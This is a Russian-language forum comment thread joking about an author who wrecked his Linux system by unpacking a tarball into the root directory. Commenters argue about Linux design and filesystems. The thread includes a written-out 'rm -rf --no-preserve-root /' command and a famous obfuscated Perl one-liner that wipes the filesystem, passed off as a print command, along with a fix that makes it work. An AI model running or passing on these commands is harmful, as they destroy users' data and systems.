Комментарии 97
Тупо переписать системные файлы содержимым какого-то чужого архива - разве что-то может пойти не так?
Но виноват tar
Всегда виноват микрософт )))
Потому что надо было использовать MC, зайти в архив и нажать F5, а не вот это вот всё
Это он ещё известную строчку на Perl не запускал с sudo. Ждём статью через пару месяцев?
С намеком на поиск той самой строчки... И восстановление системы? 😉😉
Но... это лишь перевод..... Вряд-ли переводчик свяжется с автором
Вряд-ли переводчик свяжется с автором
Вот только на это надежда и остаётся. И то, сами понимаете, статья об очередном героическом восстановлении системы сама себя не напишет!
В этом и вся печаль происходящего... Практически исчезла преемственность. Те, кто в теме, почти не пишут - "новичкам" не с кем "посоветоваться"; а другие - "переводчики" гугл или гпт.... и не понять что же лучше.....
Ну Хабр погребён под горами спама, если честно. К примеру, статью без развитой содержательной дискуссии сейчас открывать просто бессмысленно - это будет какая-то стандартная нейросетевая жвачка. Посмотрите, кстати, сколько статей в общей ленте без комментариев под ними.
Поэтому и писать какой-то текст "в стол" совершенно не хочется. Ну невозможно себя заставить, хотя какие-то темы есть.
Так файлы-то он не переписывал...
В архиве может что угодно оказаться. tar'у все равно что переписывать.
Но ведь он посмотрел содержимое и его структуру
Если бы я увидел, что архив будет переписывать что-то в /usr/bin, я бы для начала так не делал. Разве что внутри 3 файла, и мне не лень будет посмотреть на каждый. И то я бы так не делал.
А в чём разница-то, блин - три там файла или семь, если все они новые для вашей системы?
THRT
Идеология Linux:
Хозяин знает что делает.
Хозяин всегда прав.
Если хозяин неправ - смотри пункт 1.
Да? Поэтому дистрибутивы сейчас повально либо отказываются ставить пароль на root вообще, либо не принимают root/root?
sudo passwd root
и все ставится
Ага. А если это потребует пересборки ядра, вы начнете говорить "ну просто применяете вот этот патч и все ставится"?
А если это потребует пересборки ядра
WTF?
Чессе...
1. Вам надо собирать ядро (вот просто критично без этого никак)
2. Вы это делаете под рутом
3. И устанавливаете его на свою собственную машину
4. И так каждый день
Всё верно?
Что? Я про другое. Я спорю с "Хозяин знает что делает. Хозяин всегда прав".
Современные дистрибутивы линукса держат меня за дурака, который не знает, как ему выбрать пароль рута или пользователя, например. По моей логике, если я хочу root/root поставить, то я учел риски. Нет, нельзя такой пароль, нет, смени его при следующей загрузке, нет, нельзя вообще логиниться в рута, используй судо, нет, нельзя по ssh рутом заходить, заходи обычным пользователем... Безусловно, все можно настроить, но это никак не "Хозяин знает что делает".
И вот я возражаю против этого тезиса, и мне отвечают "ну просто sudo passwd root же". Ага, сначала меня держат за дурака, а потом, если я знаю волшебную команду, наконец-то соглашаются что я не совсем дурак. А можно при установке сразу мне мозги не делать по поводу моего выбора пароля?
Вот я и спрашиваю — а если завтра ограничение на пароли добавят в ядро, вы тоже будете говорить "ну ты просто примени патч и пересобери ядро, чего такого" или все-таки согласитесь что современные дистрибутивы уже отошли от "Хозяин знает что делает. Хозяин всегда прав" и ориентируются на домохозяек?
Безусловно, все можно настроить, но это никак не "Хозяин знает что делает".
Хозяин не знает, как задать пароль root? Таки да, хозяин не знает, что делает и зачем оно ему надо.
а если завтра ограничение на пароли добавят в ядро
Точно не знает.
ориентируются на домохозяек?
На хозяев, которые не только man pam не читают, но и даже google://how to login with root не желают.
Ждем серию статей, как уничтожить вашу ОС командой cp, mv, echo >, и конечно rm -rf
Зумеры открывают мир заново, со всеми его граблями :-)
Последние разы format c: не работал, а вот hd_speed.exe->Write->Start->destroydata легко тер системный диск по секторам и я так несколько раз системный диск тестовой машинки вместо проверяемого стер но было это еще до Win 7.
Открываю я FAR, там слева диск C: и справа диск C:. Ну, я подумал, зачем мне два диска C: и правый форматнул!
Не форматнул, а удалил (т.е. потёр все файлы и папки). Всё-таки анекдот рассказывается от лица полного чайника, откуда бы он про форматирование вообще узнал?
И не FAR, а "Нортон" (NC), анекдот-то явно про те времена, когда этот самый NC был вершиной системного UI, и другой информации о количестве дисков C пользователю взять было неоткуда.
Да, "Волков" тоже для анекдота сойдёт, как и DN.
Что же до экономии, то в анекдоте упоминается именно диск C, а не диск A, так что жёсткий диск явно был, как и место на нём. Юзер явно купил компьютер с предустановленным MS-DOS и предустановленным же NC, после чего угробил его в первую же минуту использования.
В оригинале было: - Папа, папа а что означает "format c: complete" ?
p.s. не надо обзываться специалистами по Линуксу. мы дос еще помним и не только.
Новое поколение не помнит патч Бармина?
Разработчики десктоп-приложения Яндекс Диска могут рассказать, как одним из обновлений грохнули ОС у пользователей. Потом подарили по 200 гигабайт.
rm -rf
Зачем так грубо? Достаточно грохнуть всего один файл libc-X.Y.so
просто так не даст запустить, из-за шутников теперь надо делать так:
sudo rm -rf --no-preserve-root /
Проверено временем и странствиями:
tar xJpf stage3-amd64-openrc-.tar.xz --xattrs-include='*.*' --numeric-owner -C /mnt/gentoo
XBPS Package Manager собран в Fedora
https://fedora.pkgs.org/40/rpm-sphere-x86_64/xbps-0.51-7.1.x86_64.rpm.html
https://fedora.pkgs.org/39/rpm-sphere-x86_64/xbps-0.51-7.1.x86_64.rpm.html
https://github.com/void-linux/xbps
Installation via chroot (x86/x86_64/aarch64)
https://docs.voidlinux.org/installation/guides/chroot.html
А вы способны это повторить без гугла?
"Это" у меня развернуто лет 8 назад на одном из ноутов. Надо просто читать Handbook:
https://wiki.gentoo.org/wiki/Handbook:AMD64/Installation/Stage
Аналогично по Voidlinux:
https://docs.voidlinux.org/installation/guides/chroot.html
sudo mkdir /mnt/void
wget https://repo-default.voidlinux.org/live/current/void-x86_64-ROOTFS-20240314.tar.xz
или
wget https://repo-default.voidlinux.org/live/current/void-x86_64-musl-ROOTFS-20240314.tar.xz
sudo tar xJpf void-x86_64-ROOTFS-20240314.tar.xz --xattrs-include='*.*' --numeric-owner -C /mnt/void
sudo systemd-nspawn -D /mnt/void -M "voidlinux" --bind-ro="/etc/resolv.conf"
![](https://habrastorage.org/getpro/habr/upload_files/55b/085/f8f/55b085f8fbeb86f3ecf90ebc80b3b486.png)
это капец, товарищи.
Пару опций tar я, конечно, повторил, дело полезное, но в целом... Что это? Капитан Очевидный на тренировке?
Я несколько раз перечитывал начало, пытался понять, может, чел всё-таки сделал сначала chroot, и потом что-то сломалось? Нет, реально распаковывал архив в корень, и решил поведать об этом миру.
Но грабли и правда неожиданные. От распаковки архива как-то ожидаешь затёртых файлов (в худшем случае), а не сломанного корневого каталога.
Ну, я вот в Linux не то, чтобы опытный пользователь. Я не ожидал, что при распаковке будут заменены и каталоги.
Нет, если вдуматься, то это логично: ведь если файл уже существует в файловой системе, то он будет заменён, так что с каталогом происходит ровно то же самое - существующий каталог будет заменён распаковываем, а распаковываемый тащит с собой и все атрибуты. Но как-то это контринтуитивно.
Нужно не на интуицию полагаться, а мануалы читать :)
Есть еще такой "принцип наименьшего удивления" , но это скорее надо адресовать разработчикам tar. Смысл простой, но есть в нем одна заковырка: то, что кажется очевидным одним людям (разработчики), совсем не очевидно другим (пользователи) и наоборот. Во времени тоже очевидность того или иного поведения меняется. А tar - проект с долгой историей. Так что да, только маны курить...
Ну почему же, неужели никого не учили в школе, что каталог — это файл особого вида, поэтому невозможно создать файл и каталог с одинаковым именем?
На современных ФС, понятно, это уже не так — но семантика и поведение уже зафиксированы, и сломать их значит сломать совместимость
На современных ФС, понятно, это уже не так
То есть не так?
На NTFS, например, каталогов, как таковых, нет — есть индексы, и это совсем не то же самое. Да и вместо поименованного куска информации — группа потоков, среди которых основной поток данных может и отсутствовать.
У ZFS в основе вообще дерево блоков, а каталог и файл — понятия семантические, и плавают где-то там совсем сверху, над пугающей реальностью.
Где-то близко к ZFS и остальные CoW/Log-structured/log-based/etc
Разве что старички вроде ext4/xfs/ufs более-менее остаются близки к старым реализациям
А с чего это ext4 старичок? Ему не так много лет.
В ZFS собственно каталог и файл - одинаковы по принципу хранения, как и все POSIX системы, что файл, что каталог хранятся в блоках, и могут быть фрагментированы, отличаются метаинфорацией.
А с чего нет-то? Это очередной фейслифтинг ФС чуть ли не полувековой давности.
В ZFS по принципу хранения каталог и файл — ссылки на состояние части AVL-дерева
Разве стандарт POSIX как-то регламентирует способы хранения данных?
А с чего нет-то? Это очередной фейслифтинг ФС чуть ли не полувековой давности.
То есть НТФС, которому 30+, это новичок?
В ней, как бы, даже прямо это написано: New Technolodgy File System.
Да и ZFS не сильно младше, так-то — даже в самых ортодоксальных штатах ей можно пить и голосовать.
Если вам нравится прикапываться к буквам, а не к смыслу — то у вас, кажется, уже год не отвечен вопрос: каким таким макаром файл базы данных разбирает формат исполняемого файла, и, тем более, делает это до своей собственной загрузки.
Ну так Windows NT - New Technology, для которой и писалась NTFS, это же 1993 год. Грубо говоря только-только Линукс появился, так что плюс-минус год, NTFS родсвтенница EXT, которую вы же обозвали старичком :)
Где это у меня вопрос про базы данных, и что значит до своей загрузки? Может меня с кем-то путаете?
В Линукс формат исполняемого файла определяется по сигнатуре, ее разбирает сама операционка, когда видит +x аттрибут на файле
https://en.wikipedia.org/wiki/Extended_file_system
Как видно, это был фейслифтинг старых принципов уже тогда. Ну и сравнимого набора фич с NTFS она достигла, таки, сильно позже, в эпоху поздних патчей к ext3.
Реестр, ядро NT и экзешники ) Хотя, этот может и путать — любителей поспорить на пустом месте, таки, немало.
Формат файла в любой ОС определяется по сигнатурам, когда речь заходит об исполняемом файле. Исключения вымерли еще во времена DOS
В Windows попытка выполнить файл привязана к расширению, и следовательно файл выполняеться только в том случае, если расширение соответствует одному из видов исполняемого файла. В противном случае будет пытаться выполнить ассоциативную программу.
Попробуйте выполнить readme.txt, потом переименовать его в .exe и выполнить. Сперва ассоциация, затем уже разбор сигнатуры в случае exe/com/dll/etc.
Только что попробовал - программа успешно запустилась.
Разумеется, запускал её я через CreateProcess, а не ShellExecute.
А чтобы запустился CreateProcess, кто должен его вызвать?
Или у вас пользователь взаимодействует с ОС не через оболочку, а исключительно сразу методами?
А у вас запускать программы может только пользователь? Одна программа не может запустить другую*
вообще-то да, программы запускает пользователь.
Из процесса, целенаправленно, вы можете делать что угодно, но через CreateProcess, наверное не получится открыть jpeg.
Вы себе придумали свой уровень детализации, и считаете что именно с него нужно все рассматривать, но рассматривать кусочек функционала ОС, я считаю некорректно.
Работа с ассоциациями в Виндовс - штатная, в отличие от Линукс, где без gui ассоациаций в принципе нет
Где проводник — и где ядро, блин. У вас же, вроде вменяемый технический уровень… был по крайней мере.
А когда начнут писать статьи на тему "как уничтожить ваш компьютер при помощи молотка"?
И выкладывать рецепты вида "чтобы не ваш компьютер не оказался уничтоженным при помощи молотка - то не бейте по компьютеру молотком"?
Не печатает
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
`'cat' is not recognized as an internal or external command, operable program or batch file`. ЧЯДНТ?
Начиная с coreutils 5.1.0 (примерно 2004 год) для корректной работы в этой строке не хватает *
перед второй {
. Или, в более явной форме, строки |}}./}:<%=%<@%}<//>
после &
.
Это IT-ресурс или пикабу? Что ЭТО делает на главной? 😂
Наверное все же поэтому Windows более популярен в десктоп сегменте чем Linux, которые так и остался уделом "тип:сисадмин"
Тут скорее виновата не "сложность" десктопа на никсах, а невероятный зоопарк всего, что можно, путающий пользователей.
Ну а если двигать в сторону кастомизации внешки (особенно это касается гнома с его зоопарком из gtk2+gtk3+gtk4+libadwaita внутри одного окружения рабочего стола) - то все становится еще более печально для "обывателя".
Догадаться распаковать тарболл себе в корень — тоже еще надо… Тем более, что было видно, что он содержит отнюдь не /opt/bundle.name
А чем принципиально отличается префикс /usr/bin/xbps-
от /opt/bundle.name/
? Что тот, что другой уникальны и ни с чем не конфликтуют.
Опять же, где ещё кроме /usr/bin должен лежать новый менеджер пакетов? (ну, если оставить за скобками саму идею ставить на живую систему новый менеджер пакетов)
Этот вопрос надо переформулировать так: чем несуществующий /opt/bundle.name
отличается от существующего /usr/bin
.
А заодно вспомнить, чем make install
отличается от pkcon install
, и оба они от curlbash, а все трое — от извлечения неизвестных архивов в корень.
Если он не предусмотрен авторами и мейнтейнерами дистрибутива — то сперва на виртуалке или в контейнере, а никак не на хосте наживую.
Префикс /usr/bin/xbps-
такой же несуществующий. И вообще, вы так пишете, как будто /opt/bundle.name
не сломал бы корневой каталог.
Вы понимаете разницу между префиксом, который просто строка, и каталогом в ФС?
Все постэффекты случились именно из-за этих отличий.
Ничто не должно извлекаться в корень. Ни-ког-да.
Dixi
Все постэффекты случились из-за распаковки в корень. Нет никакой разницы что там лежало в архиве - распаковка в корень с ключом -p
положила бы систему в любом случае.
Это все равно что поправлять пальцами заготовку в циркулярной пиле. Даже если уверены, что все ок, и 1000 раз так делали. Если повезет - останетесь с пальцами, да.
Формально вы правы.
Практически, в том, к чему вы решили прикопаться, речь была немного о другом. О том, что если распаковку в /opt/bundle.name
еще можно списать на подумал, то распаковка в корень — ССЗБ.
И после всего этого испано-валлийского диалекта мне поставили минус за то, что ответ был очевиден и все нижеследующие рассуждения только подтвердили его? ))
Один единственный минус - это погрешность. К примеру, я периодически случайно ставлю минусы когда пытаюсь поставить плюс с телефона (и наоборот), или вообще при попытке прокрутить страницу. А вот если жаловаться на минусы - можно собрать их куда больше.
Ваша мысль не слишком ясна. Но этот подозревает, что или в вашей системе координат люди, отключающие антивирус, чтобы запустить вложение имеют тип:сисадмин, как вы выразились, или одно из двух.
В моей системе координат, большинство людей даже не знают как отключить антивирус. Насколько сложно для среднестатистической работающей полу-домохозяйке будет подключить или отключить флешку если что-то пойдет не так в Линуксе? Или скажем установить программу которая нужна, и которая только для Windows без вызова знакомого шамана Linux? Да который ещё и не настолько шаман, что может накосячить так, как это было указано в статье
большинство людей даже не знают как отключить антивирус
Именно
Насколько сложно для среднестатистической работающей полу-домохозяйке будет подключить или отключить флешку если что-то пойдет не так в Линуксе?
А насколько сложно ей будет сделать то же самое с WinRE?
Загрузится со снепшота и никому не будет делать мозг, современные системы это уже лет 14 как умеют, OpenSuSe это показывала примерно тогда же.
Или скажем установить программу которая нужна, и которая только для Windows без вызова знакомого шамана Linux?
На телефоне и на маке же как-то обходится эта ваша домохозяйка без супернужной виндовой программы. Ну вот и.
Да который ещё и не настолько шаман, что может накосячить так, как это было указано в статье
Как будто виндовых шаманов мало: годы идут, а эти все так же то фотки и документы убьют, то драйвера кривые вкрячат насильно, то говносборку установят
Опять же, где ещё кроме /usr/bin должен лежать новый менеджер пакетов?
man hier штоли
/usr/local/bin Binaries for programs local to the site
Я даже не знаю, в каких ситуациях, кроме сборки дистра с нуля и починки гроба нужно лезть в корень и что-то там делать. По-крайней мере - на личном опыте не приходилось сталкиваться. Возможно это привычка из окошек, но даже там с правами локального админа не везде можно влезть и записать\удалить что-то
Как уничтожить вашу ОС с помощью TAR